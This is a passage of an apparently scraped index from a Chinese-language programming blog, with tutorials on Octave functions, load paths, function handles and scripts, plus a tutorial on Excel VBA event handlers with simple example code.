都會省略檢查時間戳記的動作，以增進效率。\n若使用者自行定義的函數也都是固定的，可以使用 ignore_function_time_stamp (\u0026quot;all\u0026quot;) 函數設定不檢查所有函數的時間戳記，而使用 \u0026quot;system\u0026quot; 參數可以恢復預設的設定。\nedit name edit field value value = edit get field edit 指令可以編輯指定的函數，或更改編輯器的設定，當呼叫 edit 並傳入一個函數名稱 name 時，會開啟函數編輯器。\n若指定的函數 name 位於搜尋的路徑內且可以被編輯，則會將其開啟讓使用者進行編輯；若指定的函數是一個 Octave 內建的函數，則 Octave 會將此函數複製一份到 HOME 目錄，再將其開啟給使用者編輯；若是沒有找到，則 Octave 會嘗試將 name 的結尾加上 .m 或開頭加上 @ 後再搜尋，若都沒有則在嘗試同時加上 @ 與 .m。\n若 name 是一個在命令列定義的函數，沒有對應的檔案，則 Octave 會自動在 HOME 目錄建立一個 m 檔案，並將目前 name 函數的定義放入此檔案中。\n若 name 是一個副檔名為 .cc 的檔案名稱，則會在載入路徑中尋找是否有此一檔案，若有則開啟編輯，否則就會在 HOME 目錄建立一個新的檔案，若其主檔名剛好與一個 m 檔案的主檔名相同，或是與命令列所定義的函數相同，則會將此函數的內容以註解方式加入這個 .cc 檔案中。\n若 name 是一個副檔名為 .ext 的檔案名稱，則會在載入路徑中尋找是否有此一檔案，若有此一檔案且可以編輯，則將其開啟編輯，否則就會在 HOME 目錄建立一個新的檔案；若此檔案存在，但不可編輯，則會將此檔案複製一份到 HOME 目錄再開啟編輯。\n若編輯一個 .cc 檔案，則在使用前必須先以 mkoctfile func_name.cc 指令編譯後，才能使用。\n若呼叫 edit 指令時傳入 field 與 value 參數，可以將 field 的設定值設為 value；若傳入的第一個參數為 get，則會傳回 field 目前的設定，若指定的 field 不存在，則會傳回一個包含所有設定的資料結構，例如：\nedit get all 就會傳回所有的設定。以下是所有 edit 可用的設定：\n\u0026quot;editor\u0026quot; 設定用來編輯函數的文字編輯器，預設是使用 EDITOR 所指定的編輯器，其中 %s 是表示檔案的名稱，例如：\n'[EDITOR, \u0026quot; %s\u0026quot;]'：使用在 bug_report 中所使用的編輯器。 '\u0026quot;xedit %s \u0026amp;\u0026quot;'：使用 Unix 中的 xedit 做為編輯器。 '\u0026quot;gnudoit -q \\\u0026quot;(find-file \\\\\\\u0026quot;%s\\\\\\\u0026quot;)\\\u0026quot;\u0026quot;'：以目前開啟的 Emacs 做為編輯器（在 .emacs 中必須有 gnuserv-start）。 若在 Cygwin 中指定 Windows 的編輯器，則需要將 Cygwin 的路徑轉為 Windows 的路徑，例如：\n\u0026#39;\u0026#34;C:/Program Files/Good Editor/Editor.exe\u0026#34; \u0026#34;$(cygpath -wa %s)\u0026#34;\u0026#39; \u0026quot;home\u0026quot; 設定使用者的 m 檔案的放置位置，預設為 ~/octave。若更改此設定，必須注意新的位置有在載入路徑中。\n\u0026quot;author\u0026quot; 設定新函數的作者欄位內容。\n\u0026quot;email\u0026quot; 設定作者欄位內容中的 E-mail。\n\u0026quot;license\u0026quot; 設定授權，可用的選項有：\n'gpl'：GNU General Public License（預設）。 'bsd'：BSD-style license without advertising clause。 'pd'：Public domain。 '\u0026quot;text\u0026quot;'：自行定義授權。 除了 'pd' 授權之外，edit 會自動加上類似 \u0026quot;Copyright (C) yyyy Function Author\u0026quot; 的版權宣告。\n\u0026quot;mode\u0026quot; 設定編輯器開啟的模式，可設定為同步（sync）或非同步（async），若為同步則 Octave 在開啟編輯器之後會一值等待，直到離開編輯器為止，而在非同步的模式，編輯器會在背景執行，不影響 Octave。預設是同步模式。\n\u0026quot;editinplace\u0026quot; 設定是否直接編輯檔案，不管檔案是否允許編輯，預設為 false。\nmfilename () mfilename (\u0026#34;fullpath\u0026#34;) mfilename (\u0026#34;fullpathext\u0026#34;) mfilename() 函數會傳回目前正在執行的 m 檔案名稱，若加入參數 \u0026quot;fullpath\u0026quot;，則會傳回完整路徑加上主檔名；若加入參數 \u0026quot;fullpathext\u0026quot;，則會傳回完整路徑加上主檔名與副檔名，此函數只適用於檔案中，若在做上層的命令列中執行，則會傳回空字串。\nval = ignore_function_time_stamp () old_val = ignore_function_time_stamp (new_val) 查詢或設定 Octave 檢查檔案時間戳記的規則，每當 Octave 在尋找定義在檔案中的函數之前，會依照此規則決定是否要檢查檔案的時間戳記，在檢查時間戳記時若發現時間戳記有更動，則會自訂重新載入檔案內容。以下是可用的選項：\n\u0026quot;system\u0026quot;：對於 octave-home/lib/version 目錄下面的所有檔案都不會檢查其時間戳記，但其他蒐尋路徑中的檔案則會檢查。 \u0026quot;all\u0026quot;：對於所有的函數都不檢查，除非使用 clear 將函數整個移除後重新載入。 \u0026quot;none\u0026quot;：對於所有的函數都檢查。 管理載入路徑（Manipulating the load path） 在 Octave 中當一個函數被呼叫時，Octave 會從載入路徑（load path）中尋找被呼叫的函數，此路徑預設會包含 Octave 內部存放函數的目錄與目前的工作目錄，若要查看目前的載入路徑，可以使用 path 指令：\npath 這樣會列出目前所設定的載入目錄。而要增加或刪除載入路徑，可以使用 addpath() 與 rmpath()，例如要增加一個載入路徑 \u0026quot;~/octave\u0026quot;：\naddpath(\u0026#34;~/Octave\u0026#34;) 這樣 Octave 在尋找函數時，就會連同 ~/octave 目錄一起搜尋。\naddpath (dir1, ...) addpath (dir1, ..., option) addpath(dir1, ...) 函數可以將 dir1, ... 加入函數的載入路徑中，若 option 設為 \u0026quot;-begin\u0026quot; 或0，則會將此路徑加在現有的路徑之前，若設為 \u0026quot;-end\u0026quot; 或 1，則會將此路徑加在現有的路徑之後，若省略 option 則預設為加在現有的路徑之前。所有加入的路徑必須都是存在的路徑。\ngenpath (dir) genpath(dir) 函數會傳回由 dir 目錄與其所有子目錄所構成的載入路徑。\nrmpath (dir1, ...) rmpath(dir1, ...) 函數會將 dir1, ... 等目錄從目前的載入路徑中移除。\nsavepath (file) savepath(file) 函數會將目前的載入路徑，扣除 Octave 初始化時所設定的路徑，儲存至檔案中，若儲存成功會傳回0。參數 file 是指定儲存的檔名，若省略則預設為 ~/.octaverc。\npath (...) path() 函數可以設定或查詢目前函數的載入路徑。若沒有指定任何參數與傳回值，則會顯示目前的載入路徑；若只有指定傳回值參數，則會傳回目前的載入路徑；若有指定傳入的參數，則會將傳入的參數以 pathsep() 連接起來變成一組載入路徑，並將目前的載入路徑設定為這組，最後傳回新的載入路徑，在建立載入路徑時，Octave 並不會檢查是否有重複的路徑。\nval = pathdef () pathdef() 函數會傳回預設的載入路徑，若 ~/.octaverc 檔案中有包含路徑，則會將其中的路徑傳回，若 ~/.octaverc 沒有包含路徑則再檢查 \u0026lt;octave-home\u0026gt;/.../\u0026lt;version\u0026gt;/m/startup/octaverc，若有則傳回其中的路徑，若兩者都沒有任何載入路徑，則傳回 Octave 預設的載入路徑。\nval = pathsep () old_val = pathsep (new_val) pathsep() 函數可以設定或查詢載入路徑中分隔每個路徑所使用的分隔符號。\nrehash () rehash() 函數可以重新初始化 Octave 載入路徑的快取（cache）。\nfile_in_loadpath (file) file_in_loadpath (file, \u0026#34;all\u0026#34;) file_in_loadpath(file) 函數會在載入路徑中尋找 file 檔案，若找到此檔案則傳回其完整的絕對路徑，若找不到則傳回空陣列。若 file 指定為一個巢狀陣列，則會依序尋找巢狀陣列中的元素，傳回第一個找到的檔案，例如：\nfile_in_loadpath({\u0026#34;help.m\u0026#34;, \u0026#34;plot.m\u0026#34;}) 輸出為\nans = C:\\Octave\\3.2.4_gcc-4.4.0\\share\\octave\\3.2.4\\m\\help\\help.m 若再加入第二個參數 \u0026quot;all\u0026quot;，則會將巢狀陣列中所有找到的結果傳回，若全部都找不到，則傳回空矩陣。例如：\nfile_in_loadpath({\u0026#34;help.m\u0026#34;, \u0026#34;plot.m\u0026#34;}, \u0026#34;all\u0026#34;) 輸出為\nans = { [1,1] = C:\\Octave\\3.2.4_gcc-4.4.0\\share\\octave\\3.2.4\\m\\help\\help.m [2,1] = C:\\Octave\\3.2.4_gcc-4.4.0\\share\\octave\\3.2.4\\m\\plot\\plot.m } restoredefaultpath (...) restoredefaultpath() 函數可以將函數的載入路徑重設回最原始的預設設定。\ncommand_line_path (...) command_line_path() 函數會傳回命令列路徑。\nfind_dir_in_path (dir) find_dir_in_path(dir) 函數會在載入路徑中尋找 dir 目錄，若找到則傳回完整的絕對路徑。此函數只會尋找以 dir 結尾的目錄，假設 dir 為 \u0026quot;foo/bar\u0026quot;，則會比對到 \u0026quot;/some/dir/foo/bar\u0026quot;，但不會比對到 \u0026quot;/some/dir/foo/bar/baz\u0026quot; 或 \u0026quot;/some/dir/allfoo/bar\u0026quot;。\n子函數（Subfunctions） 在一個函數檔案中可以定義一個以上的函數，而第二個以後的函數稱為子函數（Subfunctions）。子函數只有在同一個檔案的其他函數中可以使用，例如 f.m 檔案中的內容為：\nfunction f () printf (\u0026#34;in f, calling g\\n\u0026#34;); g () endfunction function g () printf (\u0026#34;in g, calling h\\n\u0026#34;); h () endfunction function h () printf (\u0026#34;in h\\n\u0026#34;) endfunction 在此檔案中定義了一個 f() 函數與兩個子函數 g() 與 h()，所以 g() 與 h() 只有在 f.m 中的函數可以呼叫它們，在 f.m 檔案以外就無法使用。\n私有函數（Private Functions） 在許多情況下，使用者會撰寫一些常用的函數，提供給其他的函數呼叫，當只有一個函數需要呼叫這些常用函數時，可以使用子函數的方式處理，但若是一個常用函數須要提供給多個一般函數呼叫，就無法使用子函數的方式，這個時候可以將常用函數放在一個名為 private 的目錄中，則跟 private 目錄同一層的所有函數都可以使用 private 目錄中的函數，這樣的方式稱為私有函數（Private Functions）。例如 func1() 函數會用到一個常用函數 func2()：\nfunction y = func1 (x) y = func2 (x); endfunction 若 func1() 函數的路徑為 \u0026lt;directory\u0026gt;/func1.m，則可將 func2() 函數放置在 \u0026lt;directory\u0026gt;/private/func2.m，則所有 \u0026lt;directory\u0026gt; 中的函數都可以使用 func2() 函數，但在其他地方的函數則不能使用（因為這是私有函數）。\n函數別名與載入設定（Overloading and Autoloading） dispatch() 函數可以建立函數的別名（alias），它可以將一個函數所有的呼叫都重新導向至另一個函數，或是只針對一些特定的變數類型，例如：\nfunction y = spsin (x) printf (\u0026#34;Calling spsin\\n\u0026#34;); fflush(stdout); y = spfun (\u0026#34;sin\u0026#34;, x); endfunction spsin() 是一個自行定義的函數，接著建立函數別名：\ndispatch (\u0026#34;sin\u0026#34;, \u0026#34;spsin\u0026#34;, \u0026#34;sparse matrix\u0026#34;); 這樣會將會將函數 spsin() 建立一個別名為 sin()，但此別名只有針對 sparse matrix 的變數類型，\ny0 = sin(eye(3)) 因為 eye(3) 不是 sparse matrix，所以會使用原本內建的 sin() 函數，輸出為\ny0 = 0.84147 0.00000 0.00000 0.00000 0.84147 0.00000 0.00000 0.00000 0.84147 y1 = sin(speye(3)) 這裡的 speye(3) 是一個 sparse matrix，所以會呼叫 spsin() 函數，輸出為\nCalling spsin y1 = Compressed Column Sparse (rows = 3, cols = 3, nnz = 3 [33%]) (1, 1) -\u0026gt; 0.84147 (2, 2) -\u0026gt; 0.84147 (3, 3) -\u0026gt; 0.84147 內建的 sin() 函數其實本來就可以處理 sparse matrix，這裡只是為了示範別名的用法才如此使用。\ndispatch (f, r, type) dispatch(f, r, type) 函數會建立一個 r() 函數的別名，使 f() 函數在傳入的第一個參數為 type 類型時，以 r() 函數取代。若將 type 設為 \u0026quot;any\u0026quot;，則當沒有其他的類型的別名時，都會呼叫 r()。建立別名之後，原始的 f() 函數可以使用 builtin(f, ...) 函數來呼叫。\n若呼叫 dispatch() 函數而省略 r 參數，則會將作用於 f() 函數 type 類型的別名移除；若省略 r 與 type 兩個參數，則會顯示 f() 函數所有的別名。\n[...] builtin (f, ...) builtin(f, ...) 函數會忽略別名呼叫原始的 f() 函數。\n透過別名可以將一個函數連結至許多個函數，若是使用者在命令列中輸入一個函數的別名，而此別名所指向的函數事實上是儲存在另外一的檔案中，此時 Octave 若以函數的名稱去搜尋檔案，就會發生找不到函數檔案的問題，最簡單的解決方法就是將此函數的定義檔複製一份，並以別名的名稱命名，但是這樣又會浪費硬碟空間。比較好的做法是使用 autoload() 函數設定函數的儲存位置。\nautoload (function, file) autoload(function, file) 函數會設定函數 function 的儲存位置為 file 檔案，當 Octave 要載入 function 函數時，就會從 file 檔案中載入。\nfile 參數應為一個絕對路徑，若設為不含路徑的檔名，則此檔案必須與 autoload() 函數所在的檔案有相同的路徑，此檔案不可依靠載入路徑來載入。\n一般來說在 autoload() 函數會用在 ADD_PKG 這個特殊的指令稿中，在載入路徑的目錄中若包含此指令稿，則在此路徑加入目前的載入路徑時，就會自動執行 ADD_PKG，這個指令稿中可以設定這個目錄中函數的載入方式：\nautoload (\u0026#34;foo\u0026#34;, \u0026#34;bar.oct\u0026#34;); 這會設定 foo() 函數所載入的檔案為 bar.oct。\n若呼叫 autoload() 函數沒有加任何參數，則會顯示目前所有函數的載入設定表。\n函數鎖定（Function Locking） mlock() 可以將函數鎖定在記憶體中，不要被 clear() 函數移除，這個常會用在 oct 檔或 mex 檔中包含初始化的函數，讓 clear() 函數不要刪除已經初始化的內容。例如：\nfunction count_calls () mlock (); persistent calls = 0; printf (\u0026#34;\u0026#39;count_calls\u0026#39; has been called %d times\\n\u0026#34;, ++calls); endfunction 這樣會鎖定 count_calls() 函數，使其不會被 clear() 函數刪除：\ncount_calls (); 輸出為\n'count_calls' has been called 1 times clear count_calls; count_calls (); 輸出為\n'count_calls' has been called 2 times 要查詢函數是否有被鎖定，可用 mislocked() 函數：\nmislocked (\u0026#34;count_calls\u0026#34;) 而要解除鎖定可以使用 munlock() 函數：\nmunlock (\u0026#34;count_calls\u0026#34;); mlock () mlock() 函數會將目前的函數鎖定，讓此函數不會被 clear() 函數刪除。\nmunlock (fcn) munlock(fcn) 函數會將 fcn 函數解除鎖定，若不指定 fcn 參數，則會將目前的函數解除鎖定。\nmislocked (fcn) mislocked(fcn) 函數可以判斷 fcn 函數是否被鎖定，若不指定 fcn 參數，則會判斷目前的函數是否被鎖定。\n函數優先權（Function Precedence） 在 Octave 中有許多種定義函數的方式，當同一個函數名稱有多種定義方式時，就會依照函數優先權（Function Precedence）來決定使用哪一個，以下是 Octave 的所使用的優先權列表：\n子函數（subfunction）：目前函數的子函數，請參考子函數。 私有函數（private function）：目前函數的私有函數，請參考私有函數。 Class constructor：建構使用者類別的函數。 Class method：類別的多載函數。 函數別名：請參考函數別名與載入設定。 命令列函數（Command-line Function）：由命令列中所定義的函數。 自訂載入函數（Autoload function）：經由 autoload() 所設定的函數，請參考函數別名與載入設定。 載入路徑中的函數：包含載入路徑中各類型的檔案，載入的優先順序為 .oct 檔、 .mex 檔、 .m 檔。 內建函數（Built-in function）：Octave 中本身內建的函數，例如：numel() 與 size() 等。 指令稿檔案（Script Files） 指令稿檔案（Script Files）可以包含（幾乎）任何的 Octave 指令，執行指令稿時 Octave 會將其中的指令讀入後執行，就跟直接在命令列中輸入一樣，這樣可以讓使用者很方便的執行一連串的指令。\n指令稿檔案與函數檔案不同，其第一行指令不可以為 function 關鍵字開頭。在指令稿檔案中可以定義多個函數，並且一次將這些函數載入（只有載入，沒有執行），由於第一行指令（不包含註解或空白行）的開頭不可以是 function，所以必須執行別的指令，若沒有需要執行其他的指令，可以加入一行沒有作用的指令，例如：\n# Prevent Octave from thinking that this # is a function file: 1; # Define function one: function one () ... 若指令稿中第一個指令以 function 關鍵字開頭，Octave 會嘗試將其編譯後並執行之，並且產生一些警告訊息。\n為了使 Octave 可以正確的載入指令稿檔案，可以將指令稿檔案命名為 .m 檔案，放置在載入路徑中，然後在 Octave 中輸入其主檔名，Octave 就會將其載入，其載入的規則與函數檔案相同。\nOctave 在執行函數之前，並不會去檢查其中的指令是否有定義，例如 Octave 在編譯下面這個指令稿檔案時是不會出現問題的：\n# not a function file: 1; function foo () do_something (); endfunction function do_something () do_something_else (); endfunction 這個指令稿檔案先定義 foo() 函數，而 foo() 函數中呼叫 do_something() 函數，雖然在定義 foo() 函數時 do_something() 函數還沒有被定義，但是因為 Octave 並沒有去執行 foo() 函數，所以此時 Octave 還不需要 do_something() 函數的定義，等到隨後 do_something() 函數定義之後，再執行 foo() 函數時，do_something() 函數已經有定義了，所以這樣寫是沒有問題的。\n指令稿檔案除了命名為 .m 檔然後輸入其主檔名將其載入外，也可以使用 source() 函數載入指令稿檔案。\nsource (file) source(file) 函數可以載入指令稿檔案 file，這與直接執行 .m 指令稿名稱相同，但此 file 的名稱沒有限制（可以是 .txt 或其他的檔案名稱）。\n函數握把 、行內函數與匿名函數（Function Handles, Inline Functions and Anonymous Functions） 在撰寫程式時有時候會需要將函數以變數的形式傳遞，例如將一個函數指定為另一個函數的傳入參數，這時就可以利用下面介紹的方法。\n函數握把（Function Handles） 函數握把（function handle）是一個指向函數的指標，其定義方式為\n@function-name 例如：\nf = @sin; 這樣會建立一個指向 sin() 函數的函數握把 f。\n函數握把主要用於將一個函數傳遞給其他的函數（例如：quad() 與 fsolve() 函數）使用，例如：\nf = @sin; quad (f, 0, pi) 輸出為\nans = 2 若要呼叫函數握把所指向的函數，可以使用 feval() 函數或是直接使用函數握把並加入參數，若沒有輸入參數，則還是要加上小括號 ()，例如：\nf = @sin; feval (f, pi/4) 輸出為\nans = 0.70711 f (pi/4) 輸出為\nans = 0.70711 functions (fcn_handle) functions(fcn_handle) 函數會傳回一個包含函數握把 fcn_handle 相關訊息的資料結構（struct）。\nfunc2str (fcn_handle) func2str(fcn_handle) 函數會傳回一個字串，內容為函數握把 fcn_handle 所指向的函數名稱。\nstr2func (fcn_name) str2func(fcn_name) 函數會將包含函數名稱的字串 fcn_name 轉為函數握把。\n匿名函數（Anonymous Functions） 匿名函數（Anonymous Functions）就是沒有函數名稱的函數，其定義方式為：\n@(argument-list) expression 在 expression 中所使用的變數若不在傳入參數 argument-list 中，則會由目前的變數環境中抓取。匿名函數主要用於定義一個不需要名稱的函數，例如定義一個函數並將此函數傳入 quad() 函數中：\nf = @(x) x.^2; quad (f, 0, 10) 輸出為\nans = 333.33 將 sin() 函數以匿名函數包裝：\nquad (@(x) sin (x), 0, pi) 輸出為\nans = 2 將 betainc() 函數包裝成 quad() 函數可以形式：\na = 1; b = 2; quad (@(x) betainc (x, a, b), 0, 0.4) 其中 betainc() 函數的參數 a 與 b 會從目前的變數環境中取得，輸出為\nans = 0.13867 行內函數（Inline Functions） 行內函數（Inline Functions）是指使用 inline() 函數從一個包含程式主體（body）的字串所建立的函數，例如：\nf = inline(\u0026#34;x^2 + 2\u0026#34;); 這樣會建立一個 f() 函數，其可接受一個輸入參數，例如 f(2)。\ninline (str) inline (str, arg1, ...) inline (str, n) inline() 函數會由包含程式主體的字串 str 建立行內函數，若只有指定一個 str 參數，則函數的參數會自動由 str 中取出，而參數的順序會依照英文字母的順序排序，而在擷取參數時 i 與 j 會被忽略，因為 i 與 j 也代表複數的虛部，使用起來容易造成混淆。所有加上小括號的名稱都會被視為函數。\n參數 arg1, ... 可以指定參數的名稱。參數 n 為一個正整數，指定參數的個數為 n，若指定為 n 則所有的參數為 \u0026quot;x\u0026quot;, \u0026quot;p1\u0026quot;, ..., \u0026quot;pn\u0026quot;。\nargnames (fun) argnames(fun) 函數會傳回包含行內函數 fun 的所有參數名稱的字串巢狀陣列。例如：\nf = inline(\u0026#34;x^2 + 2\u0026#34;); argnames(f) 輸出為\nans = { [1,1] = x } formula (fun) formula(fun) 函數會傳回行內函數 fun 的內容，例如：\nf = inline(\u0026#34;x^2 + 2\u0026#34;); formula(f) 輸出為\nans = x^2 + 2 char(fun) 與 formula(fun) 是相同的。\nvectorize (fun) vectorize(fun) 函數會將行內函數 fun 轉為向量化的函數，即將 * 與 / 等運算子替換為 .* 與 ./ 等運算子。例如：\nf = inline(\u0026#34;x^2 + 2\u0026#34;); vectorize(f) 輸出為\nans = f(x) = x.^2 + 2 symvar (s) symvar(s) 函數會從包含函數主體的字串 s 中擷取出所有的函數參數，並以巢狀陣列傳回，一般的常數會被忽略（例如：pi、 NaN、 Inf、 eps、 i 或 j），若沒有找到任何參數，則傳回空的巢狀陣列。例如：\nsymvar(\u0026#34;x^2 + 2 + y\u0026#34;) 輸出為\nans = { [1,1] = x [2,1] = y } 命令（Commands） 命令（Commands）是一種特別的函數，他只能接受字串的輸入參數，它可用類似一般函數的方式呼叫，也可以不使用小括號，例如：\nmy_command hello world 這樣呼叫等同於\nmy_command(\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;) 命令的標準使用方式為：\nname arg1 arg2 ... Octave 會將其轉換為\nname (\u0026#34;arg1\u0026#34;, \u0026#34;arg2\u0026#34;, ...) 一般的函數若其參數皆為字串，也可以使用這樣的方式呼叫，但在呼叫之前必須要使用 mark_as_command 指令將此函數標示為命令，例如：\nmark_as_command name 其中 name 就是要標示為命令的函數名稱。\n當一個要傳給命令的參數儲存在變數中時，無法直接以命令呼叫的方式傳入變數，因為 Octave 無法區分傳入的是變數名稱還是一般的字串，這個時候唯一的辦法就是以一般函數的呼叫方式來呼叫。\nOctave 函數架構（Organization of Functions） 許多 Octave 的標準函數都是以函數檔案的方式儲存，其存放的位置為 \u0026lt;octave-home\u0026gt;/lib/octave/\u0026lt;version\u0026gt;/m 目錄，此目錄中又以不同的主題區分為多個子目錄，以下是各個子目錄名稱與其包含的函數類型：\naudio：播放與錄製聲音的相關函數。 control：自動控制系統的設計與模擬的相關函數。 elfun：基本函數。 finance：財務函數。 general：各種矩陣操作與其他函數。 image：影像處理函數。 io：輸入與輸出函數。 linear-algebra：線性代數相關函數。 miscellaneous：雜項。 optimization：最佳化函數。 path：路徑管理函數。 pkg：安裝 Octave 套件。 plot：2D 與 3D 繪圖函數。 polynomial：多項式函數。 set：集合相關函數。 signal：數位訊號處理函數。 sparse：稀疏矩陣相關函數。 specfun：特殊函數。 special-matrix：特殊矩陣函數。 startup：Octave 系統啟動函數。 statistics：統計相關函數。 strings：字串相關函數。 testfun：測試用函數。 time：時間紀錄函數。 ","permalink":"https://blog.gtwang.org/octave/octave-functions-and-scripts/","summary":"\u003cp\u003e複雜的 Octave 程式可以經由定義函數的方式讓其架構更精簡，函數可以直接在命令列中定義或是寫在外部的檔案中，而其使用起來就像內建的函數一樣。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"Octave 函數與指令稿（Functions and Scripts）"},{"content":"這裡介紹 Excel VBA 事件功能的使用方式，並提供基本的範例程式碼。\n當使用者在 Excel 中進行某些特定的操作時，就會觸發所謂的事件（events），例如當使用者選擇一張工作表時，就會觸發工作表選擇的事件，而像點選儲存格或儲存檔案等動作也都會觸發對應的事件。\n程式設計者可以靠著各種事件的的觸發來設計可以自動執行的 VBA 程式，例如在選擇工作表時，自動執行某些 VBA 程式等。以下介紹如何在 Excel VBA 中使用事件。\n事件處理子程序 我們可以針對不同的事件撰寫對應的處理子程序，也就是設定當事件發生時該執行的 VBA 程式，事件的處理子程序跟一般自訂的子程序差不多，只是事件的處理子程序有比較特殊的名稱，在對應的事件被觸發時，就會連帶自動執行。\nStep 1\n在工具列中點選「Visual Basic」，開啟 Visual Basic 編輯器，或是直接使用快速鍵 Alt + F11 開啟。\nStep 2\n如果要處理活頁簿的事件，就要把事件處理子程序寫在活頁簿中，若是要處理單張工作表的事件，就放在對應的工作表中。這裡我們以活頁簿事件來作為示範，點擊兩下活頁簿，開啟程式碼編輯視窗。\nStep 3\n選擇活頁簿（Workbook）。\nStep 4\n這時候程式碼編輯視窗內會出現一個預設的 Workbook_Open 處理子程序，這個就是對應到活頁簿開啟事件（open event）的處理子程序，寫在這裡的程式碼就會在活頁簿開啟時自動執行。\n在右上角的下拉式選單中可以選擇其他的事件，建立不同事件的處理子程序。這個例子我們先以 Workbook_Open 處理子程序做為示範。\nStep 5\n在 Workbook_Open 子程序中，填入當活頁簿開啟時所要執行的程式碼，這裡我以一行簡單的 MsgBox 輸出訊息作為示範。\nMsgBox \u0026#34;Hello, Event.\u0026#34; Step 6\n編輯好 VBA 程式碼之後，接著將 Excel 活頁簿存檔。為了使 Excel 活頁簿中的 VBA 程式碼可以正常執行，在儲存時要選擇以「啟用巨集的活頁簿」來儲存。\nStep 7\n存檔之後，先將 Excel 檔案關閉，再重新打開，而開啟時 Workbook_Open 處理子程序中的 VBA 程式就會自動被執行，所以就會看到我們剛剛寫的提示訊息。\n常用事件 這裡示範幾種 Excel 中常用的事件用法。\n儲存格變更事件 當任何的 Excel 儲存格內容有變動時，就會觸發活頁簿的 SheetChange 事件，我們可以用 Workbook_SheetChange 來處理：\nPrivate Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range) MsgBox \u0026#34;儲存格 (\u0026#34; \u0026amp; Target.Row \u0026amp; \u0026#34;,\u0026#34; \u0026amp; Target.Column _ \u0026amp; \u0026#34;) 更新為 \u0026#34; \u0026amp; Target.Value End Sub 設定 Workbook_SheetChange 這個事件處理子程序之後，接下來只要有任何的儲存格內容有變動，就會顯示這樣的訊息。\n活頁簿的 Workbook_SheetChange 會接收任何工作表所觸發的 SheetChange 事件 ，如果要判斷是哪一張工作表所產生的事件，可以從 Workbook_SheetChange 子程序的第一個傳入參數來判斷。\n如果只要處理特定工作表中的儲存格變更事件，也可以把事件處理子程序寫在對應的工作表中，而工作表的儲存格變更事件是以 Worksheet_Change 來處理的，使用方式大同小異：\nPrivate Sub Worksheet_Change(ByVal Target As Range) MsgBox \u0026#34;儲存格 (\u0026#34; \u0026amp; Target.Row \u0026amp; \u0026#34;,\u0026#34; \u0026amp; Target.Column _ \u0026amp; \u0026#34;) 更新為 \u0026#34; \u0026amp; Target.Value End Sub 選擇儲存格事件 只要當工作表中選擇的儲存格範圍有改變時（用滑鼠或鍵盤等方式），就會觸發 SelectionChange 這個工作表的儲存格選擇變更事件，這個事件可以使用工作表的 Worksheet_SelectionChange 子程序來處理。\nPrivate Sub Worksheet_SelectionChange(ByVal Target As Range) MsgBox \u0026#34;選擇儲存格 (\u0026#34; \u0026amp; Target.Row \u0026amp; \u0026#34;,\u0026#34; \u0026amp; Target.Column \u0026amp; \u0026#34;)\u0026#34; End Sub 建立了這個工作表的選擇儲存格事件處理子程序之後，只要當工作表中選擇的儲存格範圍有改變，就會自動顯示目前選擇的儲存格資訊。\n點擊兩下儲存格事件 若使用滑鼠在 Excel 儲存格中連續點擊兩下，就會觸發 DoubleClick 事件，此事件可用 Worksheet_BeforeDoubleClick 來處理。\nPrivate Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean) If (Target.Font.Color = vbBlack) Then \u0026#39; 把黑色文字改為紅色 Target.Font.Color = vbRed Else \u0026#39; 把紅色文字改為黑色 Target.Font.Color = vbBlack End If \u0026#39; 關閉 Excel 預設動作 Cancel = True End Sub Worksheet_BeforeDoubleClick 第一個傳入參數是點擊的儲存格，而第二個參數 Cancel 是一個布林值，代表是否要將 Excel 預設的動作關閉。\n這個例子是設計讓使用者在點擊儲存格之後，可讓儲存格的文字顏色在黑色與紅色之間切換，在預設的狀況下，當使用者連續點擊兩次儲存格時，會讓儲存格轉為編輯模式（就是出現游標，可以輸入文字的狀態），若不要讓儲存格轉為編輯模式，可將 Cancel 設為 True，這樣 Excel 就只會執行我們的 VBA 程式碼，而不會讓儲存格轉為編輯模式。\n執行之後，我們只要在儲存格上面點兩下，它的文字就會變成紅色，再點兩下的話又會變回黑色。\n應用範例 我們可以將任何的 VBA 程式碼放進各種事件的處理子程序中，這樣就可以讓 Excel VBA 程式自動處理各式各樣的問題，以下是一些簡單的應用範例。\n標示選擇的儲存格 這個範例是透過改變背景顏色的方式，將目前作用中的儲存格位置標示出來，清楚顯示儲存格的行與列。\nPrivate Sub Worksheet_SelectionChange(ByVal Target As Range) Dim rowNumberValue As Integer, columnNumberValue As Integer Dim i As Integer, j As Integer \u0026#39; 清除所有儲存格的背景顏色 Cells.Interior.ColorIndex = 0 \u0026#39; 取得目前作用中的儲存格 rowNumberValue = ActiveCell.Row columnNumberValue = ActiveCell.Column \u0026#39; 以背景顏色標示儲存格 For i = 1 To rowNumberValue Cells(i, columnNumberValue).Interior.ColorIndex = 37 Next i For j = 1 To columnNumberValue Cells(rowNumberValue, j).Interior.ColorIndex = 37 Next j End Sub 這樣在點選儲存格之後，就會自動以背景顏色標示儲存格的位置。\n參考資料 Excel Easy tutorialspoint ExcelFunctions.net ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-events/","summary":"\u003cp\u003e這裡介紹 Excel VBA 事件功能的使用方式，並提供基本的範例程式碼。\u003c/p\u003e\n\u003cp\u003e當使用者在 Excel 中進行某些特定的操作時，就會觸發所謂的事件（events），例如當使用者選擇一張工作表時，就會觸發工作表選擇的事件，而像點選儲存格或儲存檔案等動作也都會觸發對應的事件。\u003c/p\u003e","title":"Excel VBA：事件（Events）"},{"content":"Octave 中有許多用來輸出錯誤與警告訊息的函數，在使用者自行定義的函數中若是碰到異常的狀況，可以使用這裡介紹的函數來輸出錯誤或警告訊息。\n由於 Octave 中大部份的函數都有使用這些錯誤與警告函數，因此了解這些函數的運作有助於使用者處理 Octave 所產生的錯誤與警告。\n錯誤處理（Handling Errors） 錯誤（errors）是指程式發生無法繼續執行或繼續執行已經無意義的情況，例如呼叫函數時輸入的參數太少的情況，在這種情況下函數應該要輸出錯誤訊息，以通知使用者缺少的輸入參數。\n產生錯誤（Raising Errors） 最常見的錯誤就是當函數的輸入參數不符合的情況，下面的函數 f() 